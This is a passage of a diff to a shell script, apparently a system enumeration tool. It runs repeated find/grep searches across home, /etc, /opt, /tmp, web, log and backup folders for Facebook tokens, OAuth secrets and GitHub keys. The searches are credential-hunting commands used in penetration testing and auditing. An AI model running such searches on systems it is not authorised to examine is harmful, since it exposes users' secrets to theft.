/etc -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~EAACEdEose0cBA[0-9A-Za-z]+~${SED_RED}~" & +print_3title_no_nl "Searching Facebook Access Token (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "EAACEdEose0cBA[0-9A-Za-z]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Facebook Client ID (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}~${SED_RED}~" & +print_3title_no_nl "Searching Facebook Client ID (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9]{13,17}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Facebook Oauth (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]~${SED_RED}~" & +print_3title_no_nl "Searching Facebook Oauth (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Facebook Secret Key (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}~${SED_RED}~" & +print_3title_no_nl "Searching Facebook Secret Key (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Github (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort 